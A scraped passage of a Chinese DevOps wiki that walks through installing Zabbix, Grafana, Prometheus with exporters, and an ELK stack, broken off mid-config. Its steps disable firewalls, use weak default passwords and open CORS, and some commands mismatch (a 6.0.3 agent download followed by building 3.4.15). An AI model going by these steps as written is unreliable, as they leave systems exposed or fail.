创建用户useradd zabbixpasswd zabbix# 赋予权限chown -R zabbix:zabbix /usr/local/zabbix/zabbix-server/# 修改zabbix-server的配置文件vim /usr/local/zabbix/zabbix-server/etc/zabbix_server.conf# 找到对应的属性修改#数据库地址DBHost=localhost#数据库名DBName=zabbix#数据库用户名DBUser=zabbix#数据库密码DBPassword=zabbix#数据库端口DBPort=3306Timeout=30AlertScriptsPath=/usr/local/zabbix/zabbix-server/share/zabbix/alertscriptsExternalScripts=/usr/local/zabbix/zabbix-server/share/zabbix/externalscriptszabbix_server# 检查端口ps auxf |grep zabbix_servernetstat -tulnp |grep zabbix# 清空html下的文件并剪切rm -rf /usr/local/nginx/nginx/html/*cp -a /opt/zabbix-6.4.5/ui/* /usr/local/nginx/nginx/html/ 1234567891011121314# php.ini调整vim /etc/opt/remi/php74/php.inipost_max_size = 16Mmax_execution_time = 300max_input_time = 300date.timezone = Asia/Shanghai#启动相关项目systemctl restart php74-php-fpm.service##Zabbix默认用户名密码Adminzabbix zabbix客户端安装12345678910111213141516171819202122# 创建用户useradd zabbix# 下载Zabbix_agent安装包wget https://cdn.zabbix.com/zabbix/binaries/stable/6.0/6.0.3/zabbix_agent-6.0.3-linux-4.12-ppc64le-static.tar.gz# 解压tar -zxvf zabbix-3.4.15.tar.gz# 进入目录cd zabbix-3.4.15/# 编译zabbix agent./configure --prefix=/usr/local/zabbix_agent --enable-agent# 安装make && make install# 修改配置文件vim /usr/local/zabbix_agent/etc/zabbix_agentd.confServer=服务端ip地址或域名ServerActive=服务端ip地址或域名Hostname=客户端主机名HostMetadata=自动注册的关键字# 启动/usr/local/zabbix_agent/sbin/zabbix_agentd","tags":[null,null,null,null]},{"title":"三. 使用Grafana创建可视化面板","path":"/wiki/MonitoringTechDocs/三. 使用Grafana创建可视化面板.html","content":"总字符数: 8.24K 代码: 0.73K, 文本: 2.34K 预计阅读时间: 13 分钟 引言Grafana 本身是非常轻量级的,不会占用大量资源,此外 Grafana 需要一个数据库来存储其配置数据,比如用户、数据源和仪表盘等,目前 Grafana 支持 SQLite、MySQL、PostgreSQL 3 种数据库,默认使用的是 SQLite,该数据库文件会存储在 Grafana 的安装位置,所以需要对 Grafana 的安装目录进行持久化. 安装Grafana要安装 Grafana 的方式有很多,我们这里使用的是 CentOS 系统,可以在 Grafana 官方下载页面筛选合适的版本 https://grafana.com/grafana/download%5C?edition=oss%5C&platform=linuxhttps://grafana.com/grafana/download%5C?edition=oss%5C&platform=linux 根据自己的需求来进行安装,比如我们这里直接使用 rpm 包进行安装: 12wget https://dl.grafana.com/enterprise/release/grafana-enterprise-10.0.2-1.x86_64.rpm yum install -y ./grafana-enterprise-10.0.2-1.x86_64.rpm 安装完成后我们就可以使用 systemd 来管理 Grafana: 1234systemctl daemon-reload systemctl enable grafana-server.servicesystemctl start grafana-server.servicesystemctl status grafana-server.service 默认的启动配置环境变量位于 /etc/sysconfig/grafana-server 文件中: 123456789101112131415cat /etc/sysconfig/grafana-serverGRAFANA_USER=grafana GRAFANA_GROUP=grafana GRAFANA_HOME=/usr/share/grafana LOG_DIR=/var/log/grafana DATA_DIR=/var/lib/grafana MAX_OPEN_FILES=10000 CONF_DIR=/etc/grafana CONF_FILE=/etc/grafana/grafana.ini RESTART_ON_UPGRADE=truePLUGINS_DIR=/var/lib/grafana/plugins PROVISIONING_CFG_DIR=/etc/grafana/provisioning # Only used on systemd systems PID_FILE_DIR=/var/run/grafana 从上面文件中可以找到 Grafana 的各种数据配置路径,比如数据目录、日志目录、插件目录等等,正常启动完成后 Grafana 会监听在 3000 端口上,所以我们可以在浏览器中打开 Grafana 的 WebUI. 默认的用户名和密码为 admin,也可以在配置文件 /etc/grafana/grafana.ini 中配置 admin_user 和 admin_password 两个参数来进行覆盖. 当然如果我们想要部署一个高可用版本的 Grafana 的话,那么使用 SQLite 数据库就不行了,需要切换到 MySQL 或者 PostgreSQL,我们可以在 Grafana 配置的 `[database]` 部分找到数据库的相关配置,Grafana 会将所有长期数据保存在数据库中,然后部署多个 Grafana 实例使用同一个数据库即可实现高可用. 创建面板面板(Panel)是 Grafana 中基本可视化构建块,每个面板都有一个特定于面板中选择数据源的查询编辑器,每个面板都有各种各样的样式和格式选项,面板可以在仪表板上拖放和重新排列,它们也可以调整大小,所以要在 Grafana 上创建可视化的图表,面板是我们必须要掌握的知识点. 数据源在创建面板之前我们需要指定我们的面板数据来源,也就是数据源,Grafana 支持多种数据源,我们这里当然使用 Prometheus 作为数据源来进行说明.在 Grafana 左侧工具栏选择 Configuration,点击到下面的 Data sources,打开添加数据源的页面: 点击页面中的 Add data source 按钮开始添加数据源: 选择第一项 Prometheus 数据源进行配置: 在 HTTP 项中配置 URL 地址为 `http://localhost:9090`,其实就是 Prometheus 的地址,由于我们这里 Grafana 和 Prometheus 都在同一个节点上,所以用 localhost 即可访问,当然用 IP 也可以. Access 选择默认的 Server 代理方式,这样就相当于 Grafana 程序去访问 Prometheus 而不是在浏览器端去访问, 如果 Prometheus 配置有认证,则还需要在下发配置 Auth 信息,配置完成后,拉到最下方点击 Save & test,提示添加成功即表面数据源添加成功了. 然后在数据源列表中就会出现我们刚刚添加的 Prometheus 这个数据源了 如果想要添加其他支持的数据源则也可用同样的方式进行添加. 添加面板面板是属于某一个 Dashboard 的,所以我们需要先创建一个 Dashboard,在侧边栏点击 + 切换到 Dashboard 下面开始创建 Dashboard: 在默认创建的新的 Dashboard 中就有一个空的面板,点击 `Add an empty panel` 即可开始添加面板: 进入面板编辑器后即可添加面板了,中间位置是查询语句的显示结果,下方是用于配置查询语句的地方,左侧可以选择面板显示的类型,面板元信息,比如标题、描述信息等. 比如我们现在就要来查询节点的 CPU 使用率,前面在 `node_exporter` 章节中已经学习了该监控数据的查询语句为 `(1 \\- sum(rate(node_cpu_seconds_total{mode=\"idle\"}[5m])) by (instance) / sum(rate(node_cpu_seconds_total[5m])) by (instance) ) * 100`,只需要将该语句填充到查询的 PromQL 语句中即可在上面显示出监控的结果: 点击右上角的 `Apply` 按钮即可创建成功一个 Panel 面板. 用同样的方式我们可以创建一个用于查询节点内存使用率的面板: 创建完成后的面板我们也可以拖动他们的排列位置: 如果还想重新编辑面板,可以点击标题,在弹出来的下拉框中选择 `Edit` 编辑即可: 添加参数现在我们在一个 Dashboard 中添加了两个 Panel,我们可以很明显看到会直接将所有的节点信息展示在同一个面板中,但是如果有非常多的节点的话数据量就非常大了,这种情况下我们最好的方式是将节点当成参数,可以让用户自己去选择要查看哪一个节点的监控信息,要实现这个功能,我们就需要去添加一个以节点为参数的变量来去查询监控数据. 点击 Dashboard 页面右上方的 Dashboard settings 按钮,进入配置页面: 在该 Settings 页面可以来对整个 Dashboard 进行配置,比如名称、标签、变量等: 这里我们点击左边的 `Variables` 添加一个变量,变量支持更具交互性和动态性的仪表板,我们可以在它们的位置使用变量,而不是在指标查询中硬编码,变量显示为 Dashboard 顶部的下拉列表,这些下拉列表可以轻松更改仪表板中显示的数据. 为了能够选择节点数据,这里我们定义了一个名为 `instance` 的变量名,但是定义的这个变量值从哪个地方获取呢? 监控节点的相关指标是来源于名为 `node-exporter` 的任务,我们可以通过查询 `up` 来获取所有的监控实例: 要想获取到 `instance` 标签中的值,我们这里可以使用一个正则表达式 `.*instance=\"(.*?)\".*` 来获取实例数据,这样就成功定义了一个变量,回到 Dashboard 页面就可以看到多了一个`选择节点`的下拉框: 但是这个时候的面板并不会随着我们下拉框的选择而变化,我们需要将 instance 这个变量传入查询语句中,比如重新修改CPU使用率的查询语句: 用同样的方式给内存使用率添加根据节点过滤的参数: 回到 Dashboard 页面就可以根据我们的下拉框来选择需要监控的节点数据了,定义参数的时候如果选择了可以选择所有,同样可以查看所有节点的数据:","tags":[null,null,null,null]},{"title":"二. Prometheus快速入门","path":"/wiki/MonitoringTechDocs/二. Prometheus快速入门.html","content":"总字符数: 14.52K 代码: 8.58K, 文本: 2.02K 预计阅读时间: 46 分钟 简介Prometheus 是任何一个高级工程师必须要掌握的技能.那么如何从零部署一套 Prometheus 监控系统呢?本篇文章将从 Prometheus 的原理讲起,手把手带你用一个最简单的例子部署一套 Prometheus 监控系统. 基本原理Prometheus的基本架构如下图所示: 从上图可以看到,整个 Prometheus 可以分为四大部分,分别是: Prometheus 服务器 Prometheus Server 是 Prometheus组件中的核心部分,负责实现对监控数据的获取,存储以及查询. NodeExporter 业务数据源 业务数据源通过 Pull/Push 两种方式推送数据到 Prometheus Server. AlertManager 报警管理器 Prometheus 通过配置报警规则,如果符合报警规则,那么就将报警推送到 AlertManager,由其进行报警处理. 可视化监控界面 Prometheus 收集到数据之后,由 WebUI 界面进行可视化图标展示.目前我们可以通过自定义的 API 客户端进行调用数据展示,也可以直接使用 Grafana 解决方案来展示. 简单地说,Prometheus 的实现架构也并不复杂.其实就是收集数据、处理数据、可视化展示,再进行数据分析进行报警处理. 但其珍贵之处在于提供了一整套可行的解决方案,并且形成了一整个生态,能够极大地降低我们的研发成本. 安装运行 Prometheus 服务端Prometheus 服务端负责数据的收集,因此我们应该首先安装并运行 Prometheus Server. https://prometheus.io/download/https://prometheus.io/download/ 12345678cd /opt# 关闭防火墙systemctl disable firewalld && systemctl stop firewalld# 下载wget https://github.com/prometheus/prometheus/releases/download/v2.45.0/prometheus-2.45.0.linux-amd64.tar.gz# 解压tar -zxvf prometheus-2.45.0.linux-amd64.tar.gz 下载后解压,可以看到如下目录结构: 1234567891011121314151617181920[root@localhost opt]# tree prometheus-2.45.0.linux-amd64prometheus-2.45.0.darwin-amd64├── console_libraries│ ├── menu.lib│ └── prom.lib├── consoles│ ├── index.html.example│ ├── node-cpu.html│ ├── node-disk.html│ ├── node.html│ ├── node-overview.html│ ├── prometheus.html│ └── prometheus-overview.html├── LICENSE├── NOTICE├── prometheus├── prometheus.yml└── promtool2 directories, 14 files 其中 data 目录是数据的存储路径,也可以通过运行时的 --storage.tsdb.path="data/" 命令另行指定.Prometheus.yml 是 Prometheus的配置文件,prometheus 是运行的命令. 启动prometheus服务,其会默认加载当前路径下的prometheus.yaml文件.当然我们也可以手动指定配置文件地址: 123456789101112mv prometheus-2.45.0.darwin-amd64 prometheuscd prometheus# 创建文件夹mkdir data# 编辑配置文件vim prometheus.yml# 将- targets: ["localhost:9090"]改为- targets: ["0.0.0.0:9090"]./prometheus --config.file=prometheus.yml --storage.tsdb.path="data/" 123456789101112131415161718192021222324252627282930# my global configglobal: scrape_interval: 15s # 将抓取间隔设置为每15秒一次.默认值为每分钟一次. evaluation_interval: 15s # 每15秒评估规则一次.默认值为每分钟一次. # scrape_timeout is set to the global default (10s). # 抓取超时时间设置为全局默认值(10秒).# Alertmanager configuration # Alertmanager 配置部分alerting: alertmanagers: - static_configs: - targets: # - alertmanager:9093# Load rules once and periodically evaluate them according to the global 'evaluation_interval'. # 加载规则并根据全局的 'evaluation_interval' 定期评估它们.rule_files: # - "first_rules.yml" # - "second_rules.yml"# A scrape configuration containing exactly one endpoint to scrape:# Here it's Prometheus itself. # 抓取配置,包含一个要抓取的终端节点,这里是 Prometheus 本身.scrape_configs: # The job name is added as a label `job=<job_name>` to any timeseries scraped from this config. - job_name: "prometheus" # 作业名称作为标签 `job=<job_name>` 添加到从此配置中进行抓取的所有时间序列中. # metrics_path defaults to '/metrics' # scheme defaults to 'http'. static_configs: - targets: ["localhost:9090"] # 目标为本地的 Prometheus 实例,监听在 `localhost:9090` 地址上. 正常的情况下,你可以看到以下输出内容: 123456789101112131415161718192021ts=2023-07-17T12:13:50.792Z caller=main.go:534 level=info msg="No time or size retention was set so using the default time retention" duration=15dts=2023-07-17T12:13:50.792Z caller=main.go:578 level=info msg="Starting Prometheus Server" mode=server version="(version=2.45.0, branch=HEAD, revision=8ef767e396bf8445f009f945b0162fd71827f445)"ts=2023-07-17T12:13:50.792Z caller=main.go:583 level=info build_context="(go=go1.20.5, platform=linux/amd64, user=root@920118f645b7, date=20230623-15:09:49, tags=netgo,builtinassets,stringlabels)"ts=2023-07-17T12:13:50.792Z caller=main.go:584 level=info host_details="(Linux 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 localhost.localdomain (none))"ts=2023-07-17T12:13:50.792Z caller=main.go:585 level=info fd_limits="(soft=4096, hard=4096)"ts=2023-07-17T12:13:50.792Z caller=main.go:586 level=info vm_limits="(soft=unlimited, hard=unlimited)"ts=2023-07-17T12:13:50.794Z caller=web.go:562 level=info component=web msg="Start listening for connections" address=0.0.0.0:9090ts=2023-07-17T12:13:50.796Z caller=main.go:1019 level=info msg="Starting TSDB ..."ts=2023-07-17T12:13:50.798Z caller=tls_config.go:274 level=info component=web msg="Listening on" address=[::]:9090ts=2023-07-17T12:13:50.798Z caller=tls_config.go:277 level=info component=web msg="TLS is disabled." http2=false address=[::]:9090ts=2023-07-17T12:13:50.803Z caller=head.go:595 level=info component=tsdb msg="Replaying on-disk memory mappable chunks if any"ts=2023-07-17T12:13:50.804Z caller=head.go:676 level=info component=tsdb msg="On-disk memory mappable chunks replay completed" duration=8.094µsts=2023-07-17T12:13:50.804Z caller=head.go:684 level=info component=tsdb msg="Replaying WAL, this may take a while"ts=2023-07-17T12:13:50.804Z caller=head.go:755 level=info component=tsdb msg="WAL segment loaded" segment=0 maxSegment=0ts=2023-07-17T12:13:50.804Z caller=head.go:792 level=info component=tsdb msg="WAL replay completed" checkpoint_replay_duration=37.328µs wal_replay_duration=349.098µs wbl_replay_duration=163ns total_replay_duration=424.146µsts=2023-07-17T12:13:50.805Z caller=main.go:1040 level=info fs_type=XFS_SUPER_MAGICts=2023-07-17T12:13:50.805Z caller=main.go:1043 level=info msg="TSDB started"ts=2023-07-17T12:13:50.805Z caller=main.go:1224 level=info msg="Loading configuration file" filename=prometheus.ymlts=2023-07-17T12:13:50.807Z caller=main.go:1261 level=info msg="Completed loading of configuration file" filename=prometheus.yml totalDuration=1.289744ms db_storage=5.51µs remote_storage=4.965µs web_handler=505ns query_engine=2.431µs scrape=882.742µs scrape_sd=35.132µs notify=52.15µs notify_sd=13.842µs rules=4.135µs tracing=25.558µsts=2023-07-17T12:13:50.807Z caller=main.go:1004 level=info msg="Server is ready to receive web requests."ts=2023-07-17T12:13:50.807Z caller=manager.go:995 level=info component="rule manager" msg="Starting rule manager..." 输入 http://192.168.64.195:9090/graph 可以看到如下页面,这个是 Prometheus 自带的监控管理界面. NodeExporter 监控主机下载 Node ExporterNodeExporter 是 Prometheus 提供的一个可以采集到主机信息的应用程序,它能采集到机器的 CPU、内存、磁盘等信息. 我们从官网获取最新的 Node Exporter 版本的二进制包. https://prometheus.io/download/https://prometheus.io/download/ 下载解压后运行 Node Exporter,我们指定用 8080 端口运行: 12345cd /optwget https://github.com/prometheus/node_exporter/releases/download/v1.6.0/node_exporter-1.6.0.linux-amd64.tar.gztar -zxvf node_exporter-1.6.0.linux-amd64.tar.gzcd node_exporter-1.6.0.linux-amd64/./node_exporter --web.listen-address 127.0.0.1:8080 启动成功后,可以看到以下输出: 12ts=2023-07-17T12:18:19.690Z caller=tls_config.go:274 level=info msg="Listening on" address=127.0.0.1:8080ts=2023-07-17T12:18:19.690Z caller=tls_config.go:277 level=info msg="TLS is disabled." http2=false address=127.0.0.1:8080 配置 Prometheus 的监控数据源现在我们运行了 Prometheus 服务器,也运行了业务数据源 NodeExporter.但此时 Prometheus 还获取不到任何数据,我们还需要配置下 prometheus.yml 文件,让其去拉取 Node Exporter 的数据. 我们配置一下 Prometheus 的配置文件,让 Prometheus 服务器定时去业务数据源拉取数据.编辑prometheus.yml 并在 scrape_configs 节点下添加以下内容: 12345678scrape_configs: - job_name: 'prometheus' # 给被监控主机取个名字 static_configs: - targets: ['0.0.0.0:9090'] # 采集node exporter监控数据 - job_name: 'node' # 给被监控主机取个名字 static_configs: - targets: ['localhost:8080'] 上面配置文件配置了两个任务.一个是名为 prometheus 的任务,其从「0.0.0.0:9090」地址读取数据.另一个是名为 node 的任务,其从「localhost:8080」地址读取数据. 配置完成后,我们重新启动 Prometheus. 1./prometheus --config.file=prometheus.yml --storage.tsdb.path="data/" 查询监控数据配置完 Prometheus 读取的数据源之后,Prometheus 便可以从 Node Exporter 获取到数据了.那么接下来我们如何查看到这些数据呢?答案是:Prometheus UI! Prometheus UI 是 Prometheus 内置的一个可视化管理界面,我们通过 http://localhost:9090 就可以访问到该页面. 通过 Prometheus UI 可以查询 Prometheus 收集到的数据,而 Prometheus 定义了 PromQL 语言来作为查询监控数据的语言,其余 SQL 类似. 接下来我们访问 http://localhost:9090,进入到 Prometheus Server.如果输入「up」并且点击执行按钮以后,可以看到如下结果: 可以看到 Element 处有几条记录,其中 instance 值为 localhost:8080 的记录,value 是 1,这代表对应应用是存活状态. 1up{instance="localhost:8080", job="node"} 1 例如查看我们所运行 NodeExporter 节点所在机器的内存使用情况,可以输入 node_memory_Active_bytes/(1024*1024*1024) 查看. 查看 NodeExporter 节点所在机器 CPU 1 分钟的负载情况,可以输入 node_load1 即可查看. 点Status–>Targets–>就可以看到监控的本机 到这里,我们基本上为完成了数据的收集过程,即数据从业务侧收集到 Prometheus 侧,并且还学会了如何使用 Prometheus 自带的控制台. MysqldExporter监控MySQL下载 MysqldExporter在被管理MySQL服务器上安装mysqld_exporter组件 https://prometheus.io/download/#mysqld_exporterhttps://prometheus.io/download/#mysqld_exporter 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051cd /optwget https://github.com/prometheus/mysqld_exporter/releases/download/v0.15.0/mysqld_exporter-0.15.0.linux-amd64.tar.gz# 解压安装包tar -zxvf mysqld_exporter-0.15.0.linux-amd64.tar.gz# 重命名mv mysqld_exporter-0.15.0.linux-amd64 mysqld_exporter# 临时安装个mysql#Yum安装Mariadbyum install mariadb mariadb-server -y#启动Mariadbsystemctl start mariadb#设为开机自启systemctl enable mariadb#Mariadb初始化mysql_secure_installation#删除匿名用户?Remove anonymous users? [Y/n] y#禁止root远程登录Disallow root login remotely? [Y/n] n#删除测试数据库并访问它?Remove test database and access to it? [Y/n] y#现在重新加载特权表?Reload privilege tables now? [Y/n] y# 在MySQL服务器上创建监控用户mysql> grant select,replication client, process on *.* to 'mysql_monitor'@'localhost' identified by '123';Query OK, 0 rows affected, 1 warning (0.00 sec)mysql> flush privileges;Query OK, 0 rows affected (0.03 sec)mysql> exitBye# 将上面创建的mysql用户信息写入mysqld_exporter配置文件(新创建一个)vim /opt/mysqld_exporter/.my.cnf[client]user=mysql_monitorpassword=123# 启动mysqld_exporternohup /opt/mysqld_exporter/mysqld_exporter --config.my-cnf=/opt/mysqld_exporter/.my.cnf &# 确认是否正常启动(默认端口9104)netstat -lnptu | grep 9104tcp6 0 0 :::9104 :::* LISTEN 32688/mysqld_export 添加监控项回到prometheus服务器的配置文件里添加被监控的mariadb的配置段 1234567vim /opt/prometheus/prometheus.yml - job_name: 'mysql-1' # 给被监控主机取个名字 static_configs: - targets: ['192.168.64.195:9104'] # 这里填写被监控主机的IP和端口 # 有多少台被监控MySQL服务器就照格式添加在后面就可以 回到web管理界面点Status–>Targets–>就可以看到监控的MySQL服务器了 查询监控数据回到主界面搜索mysql相关参数mysql_global_status_threads_connected Grafana可视化Grafana图形显示系统监控数据在Grafana上添加Prometheus数据源我们把prometheus服务器收集的数据做为一个数据源添加到grafana,让grafana可以得到prometheus的数据 Grafana导入监控模板Grafana图形显示Linux硬件信息 Grafana官方提供模板地址 https://grafana.com/grafana/dashboardshttps://grafana.com/grafana/dashboards 本次要导入的模板 https://grafana.com/grafana/dashboards/11074https://grafana.com/grafana/dashboards/11074 即可看到逼格非常高的系统主机节点监控信息 Grafana图形显示MySQL监控数据 MySQL监控做的最好当属percona公司的了 https://grafana.com/grafana/dashboards/7362-mysql-overviewhttps://grafana.com/grafana/dashboards/7362-mysql-overview 当然,这个更新的不及时,要体验最新的我们直接去项目地址下载安装mysql监控的dashboard(包含相关json文件,这些json文件可以看作是开发人员开发的一个监控模板) 方式二:导入最新的json文件 下载最新json文件包 解压得到相关JSON文件 12345678910111213141516171819202122HAProxy_Instance_Summary.json: HAProxy实例的概览信息和关键指标.MySQL_Amazon_Aurora_Details.json: Amazon Aurora数据库的详细信息和性能指标.MySQL_Command_Handler_Counters_Compare.json: MySQL命令处理器计数器的比较和分析.MySQL_Group_Replication_Summary.json: MySQL Group Replication集群的概览和状态.MySQL_InnoDB_Compression_Details.json: InnoDB存储引擎的压缩策略和性能指标.MySQL_InnoDB_Details.json: InnoDB存储引擎的详细信息和性能指标.MySQL_Instances_Compare.json: 不同MySQL实例之间性能指标的比较.MySQL_Instances_Overview.json: MySQL实例的概览信息和性能指标.MySQL_Instance_Summary.json: 单个MySQL实例的概览信息和关键指标.MySQL_MyISAM_Aria_Details.json: MyISAM和Aria存储引擎的详细信息和性能指标.MySQL_MyRocks_Details.json: MyRocks存储引擎的详细信息和性能指标.MySQL_Performance_Schema_Details.json: MySQL Performance Schema的详细信息和性能指标.MySQL_Query_Response_Time_Details.json: 查询响应时间的详细信息和性能指标.MySQL_Replication_Summary.json: MySQL复制的概览和状态.MySQL_Table_Details.json: MySQL表的详细信息和性能指标.MySQL_TokuDB_Details.json: TokuDB存储引擎的详细信息和性能指标.MySQL_User_Details.json: MySQL用户和权限的详细信息和统计.MySQL_Wait_Event_Analyses_Details.json: MySQL等待事件分析的详细信息和指标.ProxySQL_Instance_Summary.json: ProxySQL实例的概览信息和关键指标.PXC_Galera_Cluster_Summary.json: Percona XtraDB Cluster (PXC) Galera集群的概览和状态.PXC_Galera_Nodes_Compare.json: PXC Galera集群节点之间性能指标的比较.PXC_Galera_Node_Summary.json: 单个PXC Galera集群节点的概览信息和关键指标. 在grafana图形界面导入MySQL相关json文件 grafana展示MySQL相关数据","tags":[null,null,null,null]},{"title":"四. 从零搭建日志采集报警系统ELK","path":"/wiki/MonitoringTechDocs/四. 从零搭建日志采集报警系统ELK.html","content":"总字符数: 10.17K 代码: 5.83K, 文本: 1.05K 预计阅读时间: 30 分钟 系统选型Elastic 公司有一套免费开源的日志采集系统(ELK),所以我选择拿来即用. 日志流: 日志文件→FileBeat→Logstash→ElasticSearch→Kibana FilebeatFilebeat是一款轻量级日志采集器,可用于转发和汇总日志与文件.Filebeat内置有多种模块(Nginx、MySQL、Redis、Elasticsearch、Logstash等),可针对常见格式的日志大大简化收集、解析和可视化过程,只需一条命令即可. LogstashLogstash是一个分布式日志收集框架,开发语言是JRuby,经常与ElasticSearch,Kibana配合使用组成著名的ELK技术栈,所谓ELK就是ElasticSearch、Logstash、Kibana这三个组件. ElasticSearchElasticsearch 是一个分布式、可扩展、实时的搜索与数据分析引擎.它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口. KibanaKibana 是一个免费且开放的用户界面,能够让您对 Elasticsearch 数据进行可视化.您可以进行各种操作,从跟踪查询负载,到理解请求如何流经您的整个应用,都能轻松完成. 系统准备系统设置1234567891011121314151617# 关闭防火墙(如果因为其他原因不能关闭防火墙,也请不要禁止80和9200端口):systemctl stop firewalld.service# 禁止防火墙自动启动:systemctl disable firewalld.service# 修改操作系统参数vi /etc/sysctl.confvm.max_map_count=262144# 加载sysctl配置,执行命令:sysctl -pvim /etc/security/limits.conf# 在文件最后加入* soft nofile 65536* hard nofile 131072* soft nproc 2048* hard nproc 4096 jdk安装https://www.openlogic.com/openjdk-downloadshttps://www.openlogic.com/openjdk-downloads 123456789101112131415161718# 进入opt目录cd /opt# 下载JDK,推荐11系列wget https://builds.openlogic.com/downloadJDK/openlogic-openjdk/11.0.8%2B10/openlogic-openjdk-11.0.8%2B10-linux-x64.tar.gz# 解压tar -zxvf openlogic-openjdk-11.0.8+10-linux-x64.tar.gz# 修改文件夹名mv openlogic-openjdk-11.0.8+10-linux-x64/ jdk/# 定义环境变量sed -i.ori '$a export ES_JAVA_HOME=/opt/jdk export PATH=$ES_JAVA_HOME/bin:$ES_JAVA_HOME/jre/bin:$PATH export CLASSPATH=.:$ES_JAVA_HOME/lib:$ES_JAVA_HOME/jre/lib:$ES_JAVA_HOME/lib/tools.jar' /etc/profile# 加载环境变量配置信息source /etc/profile# 确认检查jdk版本信息java -versionopenjdk version "11.0.8" 2020-07-14OpenJDK Runtime Environment OpenLogic-OpenJDK (build 11.0.8+0-adhoc.centos.jdk11u)OpenJDK 64-Bit Server VM OpenLogic-OpenJDK (build 11.0.8+0-adhoc.centos.jdk11u, mixed mode) Elasticsearch部署1234567891011121314151617181920212223242526272829303132# 进入opt目录cd /opt# 把tar包下载到opt目录下wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.14.1-linux-x86_64.tar.gz# 解压tar包tar -zxvf elasticsearch-7.14.1-linux-x86_64.tar.gz# 拷贝文件目录到/usr/localcp -r elasticsearch-7.14.1/ /usr/local/elasticsearch# 建立软连接ln -s /usr/local/elasticsearch/ elasticsearch# 修改配置文件vim /usr/local/elasticsearch/config/elasticsearch.yml# 以下取消注释# 集群名称,单机版使用默认即可cluster.name: my-application# 节点名称,单机版使用默认即可node.name: node-1# 数据存放的路径path.data: /usr/local/elasticsearch/data/# 应用日志存放的路径path.logs: /usr/local/elasticsearch/logs/# 服务绑定的IP地址network.host: 0.0.0.0# 服务监听的端口http.port: 9200#初始主节点cluster.initial_master_nodes: ["node-1"]# 跨域配置http.cors.enabled: truehttp.cors.allow-origin: "*" es不能以root用户身份运行,所以要创建新的用户组和用户名称 1234567# 创建用户组groupadd elsearch# 创建用户useradd elsearch -g elsearch -p elasticsearch# 把es要用到的路径都设置成的文件组权限设置成新的用户组和用户chown -R elsearch:elsearch /usr/local/elasticsearch 启动es 1234# 切换到es用户su elsearch# 以后台服务运行/usr/local/elasticsearch/bin/elasticsearch -d 查看启动日志可执行命令tail -f /usr/local/elasticsearch/logs/my-application.log 通过ss -lntup查看端口号已经启动 执行curl命令检查服务是否正常响应:curl 127.0.0.1:9200,收到响应如下: 至此,ElasticSerach服务启动成功 Kibana部署123456789101112131415161718192021222324252627282930313233343536# 进入opt目录cd /opt# 把tar包下载到opt目录下wget https://artifacts.elastic.co/downloads/kibana/kibana-7.14.1-linux-x86_64.tar.gz# 解压tar -zxvf kibana-7.14.1-linux-x86_64.tar.gz# 拷贝文件目录到/usr/localcp -r kibana-7.14.1-linux-x86_64 /usr/local/kibana# 建立软连接ln -s /usr/local/kibana/ kibana#打开Kibana的配置文件vim /usr/local/kibana/config/kibana.yml# 服务端口server.port: 80# 服务器主机IP地址server.host: "主机的IP地址"# es索引服务器地址与上一步配置es时的地址相同elasticsearch.hosts: ["http://xxx.xxx.xxx.xxx:9200"]i18n.locale: "zh-CN"# 按esc输入以下内容保存并退出:wq# 这样其他电脑就能用浏览器访问Kibana服务了# 不能以root用户运行# 把es要用到的路径都设置成的文件组权限设置成新的用户组和用户chown -R elsearch:elsearch /usr/local/kibana# 切换到es用户su elsearch# 先前台运行看有没有报错/usr/local/kibana/bin/kibana# # 让服务在后台运行nohup /usr/local/kibana/bin/kibana & 查看启动日志:tail -f /home/elsearch/nohup.out 以下信息表示启动成功: 在浏览器访问http://主机IP:80;看到如下页面 小技巧 linux对于非root权限用户不能使用1024以下的端口,为了能够绑定端口 80 或 443,我们需要为 kibana 的二进制文件设置一些新功能.这可以以 root 用户身份使用以下命令完成: 1234setcap cap_net_bind_service=+epi /usr/local/kibana/bin/kibanasetcap cap_net_bind_service=+epi /usr/local/kibana/bin/kibana-pluginsetcap cap_net_bind_service=+epi /usr/local/kibana/bin/kibana-keystoresetcap cap_net_bind_service=+epi /usr/local/kibana/node/bin/node 现在就可以了 Filebeat部署(日志机)123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172# 进入opt目录cd /opt# 把tar包下载到opt目录下wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-7.14.1-linux-x86_64.tar.gztar -zxvf filebeat-7.14.1-linux-x86_64.tar.gzmkdir /usr/local/elkcp -r filebeat-7.14.1-linux-x86_64 /usr/local/elk/filebeat# 修改配置文件vim /usr/local/elk/filebeat/filebeat.yml# 配置输入插件,注意是yml格式filebeat.inputs:# 数据来源是log日志文件- type: log enabled: true# 日志文件路径 paths: - /usr/local/nginx/nginx/logs/access*.log# 解释内容格式为json的日志# json.keys_under_root: true# json.add_error_key: true# json.message_key: log# json.overwrite_keys: true# 额外的标识字段,可以于区分是来自于哪个应用 fields: log_type: logbackjson# 配置多个log数据源# - type: log # Change to true to enable this input configuration.# enabled: true # Paths that should be crawled and fetched. Glob based paths.# paths:# - /var/log/xhg/gateway/*.log## json.keys_under_root: true# json.add_error_key: true# json.message_key: log# json.overwrite_keys: true# fields:# log_type: gateway# 当输出插件中要使用自定义索引名称的时候配置这个# setup.template.name: "cobee"# setup.template.pattern: "cobee-*"# 关闭ES配置# 配置数据输出目标地# output.elasticsearch: # Array of hosts to connect to. # hosts: ["172.18.219.11:9200"] # index: "xhg-ms-%{+yyyy.MM.dd}"# 其它配置项保持默认即可output.logstash: # The Logstash hosts hosts: ["localhost:5044"]# 按esc输入以下内容保存并退出:wq# 后台运行filebeat,filebeat是一个轻量级的数据采集引擎,不需要安装jdk,不像logstash那么笨重nohup /usr/local/elk/filebeat/filebeat -e -c /usr/local/elk/filebeat/filebeat.yml -d "Publish" & > nohup.out#停止filebeat:ps -ef grep filebeat kill -9 pid logstash部署(日志机)12345678910111213141516171819202122232425262728293031323334353637383940wget https://artifacts.elastic.co/downloads/logstash/logstash-7.14.1-linux-x86_64.tar.gztar -zxvf logstash-7.14.1-linux-x86_64.tar.gzmkdir /usr/local/elkcp -r logstash-7.14.1 /usr/local/elk/logstash# 在目录/usr/local/elk/logstash下创建文件vim /usr/local/elk/logstash/default.conf# 内容如下:# 监听5044端口作为输入input { beats { port => "5044" }}# 数据过滤filter { 